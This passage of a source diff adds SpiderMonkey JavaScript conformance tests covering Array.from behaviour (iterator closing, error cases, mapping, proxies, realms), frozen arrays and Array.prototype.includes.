+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length decreases changes during iteration.
+//
+function TestDecreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ arr.length = 0;
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var oldLen = arr.length;
+ sum += doIter(fun, arr);
+ var newLen = arr.length;
+ if (oldLen == newLen)
+ TRUE_SUM += arr.length > 0 ? ARR_SUM : 0;
+ else
+ TRUE_SUM += 1
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestDecreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/from-iterator-close.js b/js/src/tests/non262/Array/from-iterator-close.js
new file mode 100644
index 0000000000..553c44e467
--- /dev/null
+++ b/js/src/tests/non262/Array/from-iterator-close.js
@@ -0,0 +1,183 @@
+var BUGNUMBER = 1180306;
+var summary = 'Array.from should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, { mapVal=undefined,
+ nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ exceptionVal=undefined,
+ exceptionType=undefined,
+ closed=true }) {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ if (exceptionVal) {
+ let caught = false;
+ try {
+ ctor.from(iterable, mapVal);
+ } catch (e) {
+ assertEq(e, exceptionVal);
+ caught = true;
+ }
+ assertEq(caught, true);
+ } else if (exceptionType) {
+ assertThrowsInstanceOf(() => ctor.from(iterable, mapVal), exceptionType);
+ } else {
+ ctor.from(iterable, mapVal);
+ }
+ assertEq(iterable.closed, closed);
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 22.1.2.1 step 5.e.i.1.
+// Cannot test.
+
+// ES 2017 draft 22.1.2.1 step 5.e.vi.2.
+test(Array, {
+ mapVal: () => { throw "map throws"; },
+ nextVal: { value: 1, done: false },
+ exceptionVal: "map throws",
+ closed: true,
+});
+
+// ES 2017 draft 22.1.2.1 step 5.e.ix.
+class MyArray extends Array {
+ constructor() {
+ return new Proxy({}, {
+ defineProperty() {
+ throw "defineProperty throws";
+ }
+ });
+ }
+}
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// ES 2021 draft 7.4.6 step 5.
+// if GetMethod fails, the thrown value should be ignored.
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+test(MyArray, {
+ nextVal: { value: 1, done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ exceptionVal: "defineProperty throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 22.1.2.1 step 5.e.iii.
+test(Array, {
+ nextThrowVal: "next throws",
+ exceptionVal: "next throws",
+ closed: false,
+});
+
+test(Array, {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ exceptionVal: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 22.1.2.1 step 5.e.v.
+test(Array, {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ exceptionVal: "value getter throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test(Array, {
+ nextVal: { value: 1, done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/from_basics.js b/js/src/tests/non262/Array/from_basics.js
new file mode 100644
index 0000000000..623207a41a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_basics.js
@@ -0,0 +1,51 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from copies arrays.
+var src = [1, 2, 3], copy = Array.from(src);
+assertEq(copy === src, false);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, src);
+
+// Non-element properties are not copied.
+var a = [0, 1];
+a.name = "lisa";
+assertDeepEq(Array.from(a), [0, 1]);
+
+// It's a shallow copy.
+src = [[0], [1]];
+copy = Array.from(src);
+assertEq(copy[0], src[0]);
+assertEq(copy[1], src[1]);
+
+// Array.from can copy non-iterable objects, if they're array-like.
+src = {0: "zero", 1: "one", length: 2};
+copy = Array.from(src);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, ["zero", "one"]);
+
+// Properties past the .length are not copied.
+src = {0: "zero", 1: "one", 2: "two", 9: "nine", name: "lisa", length: 2};
+assertDeepEq(Array.from(src), ["zero", "one"]);
+
+// If an object has neither an @@iterator method nor .length,
+// then it's treated as zero-length.
+assertDeepEq(Array.from({}), []);
+
+// Source object property order doesn't matter.
+src = {length: 2, 1: "last", 0: "first"};
+assertDeepEq(Array.from(src), ["first", "last"]);
+
+// Array.from does not preserve holes.
+assertDeepEq(Array.from(Array(3)), [undefined, undefined, undefined]);
+assertDeepEq(Array.from([, , 2, 3]), [undefined, undefined, 2, 3]);
+assertDeepEq(Array.from([0, , , ,]), [0, undefined, undefined, undefined]);
+
+// Even on non-iterable objects.
+assertDeepEq(Array.from({length: 4}), [undefined, undefined, undefined, undefined]);
+
+// Array.from should coerce negative lengths to zero.
+assertDeepEq(Array.from({length: -1}), []);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_constructor.js b/js/src/tests/non262/Array/from_constructor.js
new file mode 100644
index 0000000000..6846ef09aa
--- /dev/null
+++ b/js/src/tests/non262/Array/from_constructor.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from can be applied to any constructor.
+// For example, the Date builtin constructor.
+var d = Array.from.call(Date, ["A", "B"]);
+assertEq(Array.isArray(d), false);
+assertEq(Object.prototype.toString.call(d), "[object Date]");
+assertEq(Object.getPrototypeOf(d), Date.prototype);
+assertEq(d.length, 2);
+assertEq(d[0], "A");
+assertEq(d[1], "B");
+
+// Or Object.
+var obj = Array.from.call(Object, []);
+assertEq(Array.isArray(obj), false);
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(Object.getOwnPropertyNames(obj).join(","), "length");
+assertEq(obj.length, 0);
+
+// Or any JS function.
+function C(arg) {
+ this.args = arguments;
+}
+var c = Array.from.call(C, {length: 1, 0: "zero"});
+assertEq(c instanceof C, true);
+assertEq(c.args.length, 1);
+assertEq(c.args[0], 1);
+assertEq(c.length, 1);
+assertEq(c[0], "zero");
+
+// If the 'this' value passed to Array.from is not a constructor,
+// a plain Array is created.
+var arr = [3, 4, 5];
+var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+];
+for (var v of nonconstructors) {
+ obj = Array.from.call(v, arr);
+ assertEq(Array.isArray(obj), true);
+ assertDeepEq(obj, arr);
+}
+
+// Array.from does not get confused if global.Array is replaced with another
+// constructor.
+function NotArray() {
+}
+var RealArray = Array;
+NotArray.from = Array.from;
+Array = NotArray;
+assertEq(RealArray.from([1]) instanceof RealArray, true);
+assertEq(NotArray.from([1]) instanceof NotArray, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_errors.js b/js/src/tests/non262/Array/from_errors.js
new file mode 100644
index 0000000000..cbf0eb195a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_errors.js
@@ -0,0 +1,152 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from throws if the argument is undefined or null.
+assertThrowsInstanceOf(() => Array.from(), TypeError);
+assertThrowsInstanceOf(() => Array.from(undefined), TypeError);
+assertThrowsInstanceOf(() => Array.from(null), TypeError);
+
+// Array.from throws if an element can't be defined on the new object.
+function ObjectWithReadOnlyElement() {
+ Object.defineProperty(this, "0", {value: null});
+ this.length = 0;
+}
+ObjectWithReadOnlyElement.from = Array.from;
+assertDeepEq(ObjectWithReadOnlyElement.from([]), new ObjectWithReadOnlyElement);
+assertThrowsInstanceOf(() => ObjectWithReadOnlyElement.from([1]), TypeError);
+
+// The same, but via preventExtensions.
+function InextensibleObject() {
+ Object.preventExtensions(this);
+}
+InextensibleObject.from = Array.from;
+assertThrowsInstanceOf(() => InextensibleObject.from([1]), TypeError);
+
+// We will now test this property, that Array.from throws if the .length can't
+// be assigned, using several different kinds of object.
+var obj;
+function init(self) {
+ obj = self;
+ self[0] = self[1] = self[2] = self[3] = 0;
+}
+
+function testUnsettableLength(C, Exc) {
+ if (Exc === undefined)
+ Exc = TypeError; // the usual expected exception type
+ C.from = Array.from;
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[0], 0);
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([0, 10, 20, 30]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[i], i * 10);
+}
+
+// Array.from throws if the new object's .length can't be assigned because
+// there is no .length and the object is inextensible.
+function InextensibleObject4() {
+ init(this);
+ Object.preventExtensions(this);
+}
+testUnsettableLength(InextensibleObject4);
+
+// Array.from throws if the new object's .length can't be assigned because it's
+// read-only.
+function ObjectWithReadOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, writable: false, value: 4});
+}
+testUnsettableLength(ObjectWithReadOnlyLength);
+
+// The same, but using a builtin type.
+Uint8Array.from = Array.from;
+assertThrowsInstanceOf(() => Uint8Array.from([]), TypeError);
+
+// Array.from throws if the new object's .length can't be assigned because it
+// inherits a readonly .length along the prototype chain.
+function ObjectWithInheritedReadOnlyLength() {
+ init(this);
+}
+Object.defineProperty(ObjectWithInheritedReadOnlyLength.prototype,
+ "length",
+ {configurable: true, writable: false, value: 4});
+testUnsettableLength(ObjectWithInheritedReadOnlyLength);
+
+// The same, but using an object with a .length getter but no setter.
+function ObjectWithGetterOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, get: () => 4});
+}
+testUnsettableLength(ObjectWithGetterOnlyLength);
+
+// The same, but with a setter that throws.
+function ObjectWithThrowingLengthSetter() {
+ init(this);
+ Object.defineProperty(this, "length", {
+ configurable: true,
+ get: () => 4,
+ set: () => { throw new RangeError("surprise!"); }
+ });
+}
+testUnsettableLength(ObjectWithThrowingLengthSetter, RangeError);
+
+// Array.from throws if mapfn is neither callable nor undefined.
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], {}), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], "also not a function"), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], null), TypeError);
+
+// Even if the function would not have been called.
+assertThrowsInstanceOf(() => Array.from([], JSON), TypeError);
+
+// If mapfn is not undefined and not callable, the error happens before anything else.
+// Before calling the constructor, before touching the arrayLike.
+var log = "";
+function C() {
+ log += "C";
+ obj = this;
+}
+var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+});
+assertThrowsInstanceOf(() => Array.from.call(C, p, {}), TypeError);
+assertEq(log, "");
+
+// If mapfn throws, the new object has already been created.
+var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+};
+log = "";
+var exc = {surprise: "ponies"};
+assertThrowsValue(() => Array.from.call(C, arrayish, () => { throw exc; }), exc);
+assertEq(log, "lC0");
+assertEq(obj instanceof C, true);
+
+// It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => Array.from({[Symbol.iterator] : primitive}), TypeError);
+}
+assertDeepEq(Array.from({[Symbol.iterator]: null}), []);
+assertDeepEq(Array.from({[Symbol.iterator]: undefined}), []);
+
+// It's a TypeError if the iterator's .next() method returns a primitive.
+for (var primitive of [undefined, null, 17]) {
+ assertThrowsInstanceOf(
+ () => Array.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_iterable.js b/js/src/tests/non262/Array/from_iterable.js
new file mode 100644
index 0000000000..5681819612
--- /dev/null
+++ b/js/src/tests/non262/Array/from_iterable.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from works on arguments objects.
+(function () {
+ assertDeepEq(Array.from(arguments), ["arg0", "arg1", undefined]);
+})("arg0", "arg1", undefined);
+
+// If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+var a = ['a', 'e', 'i', 'o', 'u'];
+a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+};
+
+var log = '';
+function f(x) {
+ log += x;
+ return x + x;
+}
+
+var b = Array.from(a, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+// In fact, if [@@iterator] is present, .length isn't queried at all.
+var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+});
+log = "";
+b = Array.from(pa, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_length_setter.js b/js/src/tests/non262/Array/from_length_setter.js
new file mode 100644
index 0000000000..43f35f73e0
--- /dev/null
+++ b/js/src/tests/non262/Array/from_length_setter.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from calls a length setter if present.
+var hits = 0;
+function C() {}
+C.prototype = {set length(v) { hits++; }};
+C.from = Array.from;
+var copy = C.from(["A", "B"]);
+assertEq(hits, 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_mapping.js b/js/src/tests/non262/Array/from_mapping.js
new file mode 100644
index 0000000000..568b9d6d7a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_mapping.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// If the mapfn argument to Array.from is undefined, don't map.
+assertDeepEq(Array.from([3, 4, 5], undefined), [3, 4, 5]);
+assertDeepEq(Array.from([4, 5, 6], undefined, Math), [4, 5, 6]);
+
+// mapfn is called with two arguments: value and index.
+var log = [];
+function f() {
+ log.push(Array.from(arguments));
+ return log.length;
+}
+assertDeepEq(Array.from(['a', 'e', 'i', 'o', 'u'], f), [1, 2, 3, 4, 5]);
+assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+// If the object to be copied is non-iterable, mapfn is still called with two
+// arguments.
+log = [];
+assertDeepEq(Array.from({0: "zero", 1: "one", length: 2}, f), [1, 2]);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// If the object to be copied is iterable and the constructor is not Array,
+// mapfn is still called with two arguments.
+log = [];
+function C() {}
+C.from = Array.from;
+var c = new C;
+c[0] = 1;
+c[1] = 2;
+c.length = 2;
+assertDeepEq(C.from(["zero", "one"], f), c);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// The mapfn is called even if the value to be mapped is undefined.
+assertDeepEq(Array.from([0, 1, , 3], String), ["0", "1", "undefined", "3"]);
+var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+assertDeepEq(Array.from(arraylike, String), ["0", "1", "undefined", "3"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_primitive.js b/js/src/tests/non262/Array/from_primitive.js
new file mode 100644
index 0000000000..e3f68d8bc2
--- /dev/null
+++ b/js/src/tests/non262/Array/from_primitive.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+for (let primitive of [true, 3.14, "hello", Symbol()]) {
+ let prototype = Object.getPrototypeOf(primitive);
+
+ Object.defineProperty(prototype, Symbol.iterator, {
+ configurable: true,
+ get() {
+ "use strict";
+ assertEq(this, primitive);
+ return () => [this][Symbol.iterator]();
+ },
+ });
+ assertEq(Array.from(primitive)[0], primitive);
+
+ delete prototype[Symbol.iterator];
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_proxy.js b/js/src/tests/non262/Array/from_proxy.js
new file mode 100644
index 0000000000..c3c82d0b7e
--- /dev/null
+++ b/js/src/tests/non262/Array/from_proxy.js
@@ -0,0 +1,55 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Two tests involving Array.from and a Proxy.
+var log = [];
+function LoggingProxy(target) {
+ var h = {
+ defineProperty: function (t, id) {
+ log.push("define", id);
+ return true;
+ },
+ has: function (t, id) {
+ log.push("has", id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get", id);
+ return t[id];
+ },
+ set: function (t, id, v) {
+ log.push("set", id);
+ t[id] = v;
+ return true;
+ }
+ };
+ return new Proxy(target || [], h);
+}
+
+// When the new object created by Array.from is a Proxy,
+// Array.from calls handler.defineProperty to create new elements
+// but handler.set to set the length.
+LoggingProxy.from = Array.from;
+LoggingProxy.from([3, 4, 5]);
+assertDeepEq(log, ["define", "0", "define", "1", "define", "2", "set", "length"]);
+
+// When the argument passed to Array.from is a Proxy, Array.from
+// calls handler.get on it.
+log = [];
+assertDeepEq(Array.from(new LoggingProxy([3, 4, 5])), [3, 4, 5]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0",
+ "get", "length", "get", "1",
+ "get", "length", "get", "2",
+ "get", "length"]);
+
+// Array-like iteration only gets the length once.
+log = [];
+var arr = [5, 6, 7];
+arr[Symbol.iterator] = undefined;
+assertDeepEq(Array.from(new LoggingProxy(arr)), [5, 6, 7]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0", "get", "1", "get", "2"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_realms.js b/js/src/tests/non262/Array/from_realms.js
new file mode 100644
index 0000000000..e3a8636063
--- /dev/null
+++ b/js/src/tests/non262/Array/from_realms.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (typeof newGlobal === 'function') {
+ // G.Array.from, where G is any global, produces an array whose prototype
+ // is G.Array.prototype.
+ var g = newGlobal();
+ var ga = g.Array.from([1, 2, 3]);
+ assertEq(ga instanceof g.Array, true);
+
+ // Even if G.Array is not passed in as the 'this' value to the call.
+ var from = g.Array.from
+ var ga2 = from([1, 2, 3]);
+ assertEq(ga2 instanceof g.Array, true);
+
+ // Array.from can be applied to a constructor from another realm.
+ var p = Array.from.call(g.Array, [1, 2, 3]);
+ assertEq(p instanceof g.Array, true);
+ var q = g.Array.from.call(Array, [3, 4, 5]);
+ assertEq(q instanceof Array, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not Array.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g.Array.from.call(Array, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_string.js b/js/src/tests/non262/Array/from_string.js
new file mode 100644
index 0000000000..3ad19e253a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_string.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from on a string iterates over the string.
+assertDeepEq(Array.from("test string"),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g']);
+
+// Array.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertDeepEq(Array.from(gclef), [gclef]);
+assertDeepEq(Array.from(gclef + " G"), [gclef, " ", "G"]);
+
+// Array.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertDeepEq(Array.from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertDeepEq(Array.from("works"), ['w', 'o', 'r', 'k', 's']);
+assertDeepEq(Array.from(gclef), ['\uD834', '\uDD1E']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_surfaces.js b/js/src/tests/non262/Array/from_surfaces.js
new file mode 100644
index 0000000000..680b64817c
--- /dev/null
+++ b/js/src/tests/non262/Array/from_surfaces.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check superficial features of Array.from.
+var desc = Object.getOwnPropertyDescriptor(Array, "from");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(Array.from.length, 1);
+assertThrowsInstanceOf(() => new Array.from(), TypeError); // not a constructor
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_this.js b/js/src/tests/non262/Array/from_this.js
new file mode 100644
index 0000000000..978c90b871
--- /dev/null
+++ b/js/src/tests/non262/Array/from_this.js
@@ -0,0 +1,48 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// The third argument to Array.from is passed as the 'this' value to the
+// mapping function.
+var hits = 0, obj = {};
+function f(x) {
+ assertEq(this, obj);
+ hits++;
+}
+Array.from(["a", "b", "c"], f, obj);
+assertEq(hits, 3);
+
+// Without an argument, undefined is passed...
+hits = 0;
+function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+}
+Array.from("def", gs);
+assertEq(hits, 3);
+
+// ...and if the mapping function is non-strict, that means the global is
+// passed.
+var global = this;
+hits = 0;
+function g(x) {
+ assertEq(this, global);
+ hits++;
+}
+Array.from("ghi", g);
+assertEq(hits, 3);
+
+// A primitive value can be passed.
+for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ Array.from("pq", mapfn, v);
+ assertEq(hits, 2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/frozen-dense-array.js b/js/src/tests/non262/Array/frozen-dense-array.js
new file mode 100644
index 0000000000..cdb86daa3b
--- /dev/null
+++ b/js/src/tests/non262/Array/frozen-dense-array.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1310744;
+var summary = "Dense array properties shouldn't be modified when they're frozen";
+
+print(BUGNUMBER + ": " + summary);
+
+var a = Object.freeze([4, 5, 1]);
+
+function assertArrayIsExpected() {
+ assertEq(a.length, 3);
+ assertEq(a[0], 4);
+ assertEq(a[1], 5);
+ assertEq(a[2], 1);
+}
+
+assertThrowsInstanceOf(() => a.reverse(), TypeError);
+assertThrowsInstanceOf(() => a.shift(), TypeError);
+assertThrowsInstanceOf(() => a.unshift(0), TypeError);
+assertThrowsInstanceOf(() => a.sort(function() {}), TypeError);
+assertThrowsInstanceOf(() => a.pop(), TypeError);
+assertThrowsInstanceOf(() => a.fill(0), TypeError);
+assertThrowsInstanceOf(() => a.splice(0, 1, 1), TypeError);
+assertThrowsInstanceOf(() => a.push("foo"), TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a.length = 5; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a[2] = "foo"; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; delete a[0]; }, TypeError);
+assertThrowsInstanceOf(() => a.splice(Math.a), TypeError);
+
+// Shouldn't throw, since this is not strict mode, but shouldn't change the
+// value of the property.
+a.length = 5;
+a[2] = "foo";
+assertEq(delete a[0], false);
+
+assertArrayIsExpected();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/frozen-dict-mode-length.js b/js/src/tests/non262/Array/frozen-dict-mode-length.js
new file mode 100644
index 0000000000..e519b58920
--- /dev/null
+++ b/js/src/tests/non262/Array/frozen-dict-mode-length.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1312948;
+var summary = "Freezing a dictionary mode object with a length property should make Object.isFrozen report true";
+
+print(BUGNUMBER + ": " + summary);
+
+/* Convert to dictionary mode */
+delete Array.prototype.slice;
+
+Object.freeze(Array.prototype);
+assertEq(Object.isFrozen(Array.prototype), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/getter-name.js b/js/src/tests/non262/Array/getter-name.js
new file mode 100644
index 0000000000..3829c729ba
--- /dev/null
+++ b/js/src/tests/non262/Array/getter-name.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1180290;
+var summary = 'Array getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Array, Symbol.species).get.name, "get [Symbol.species]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/includes.js b/js/src/tests/non262/Array/includes.js
new file mode 100644
index 0000000000..aa439571ce
--- /dev/null
+++ b/js/src/tests/non262/Array/includes.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1069063;
+var summary = "Implement Array.prototype.includes";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(typeof [].includes, "function");
+assertEq([].includes.length, 1);
+
+assertTrue([1, 2, 3].includes(2));
+assertTrue([1,,2].includes(2));
+assertTrue([1, 2, 3].includes(2, 1));
+assertTrue([1, 2, 3].includes(2, -2));
+assertTrue([1, 2, 3].includes(2, -100));
+assertTrue([Object, Function, Array].includes(Function));
+assertTrue([-0].includes(0));
+assertTrue([NaN].includes(NaN));
+assertTrue([,].includes());
+assertTrue(staticIncludes("123", "2"));
+assertTrue(staticIncludes({length: 3, 1: 2}, 2));
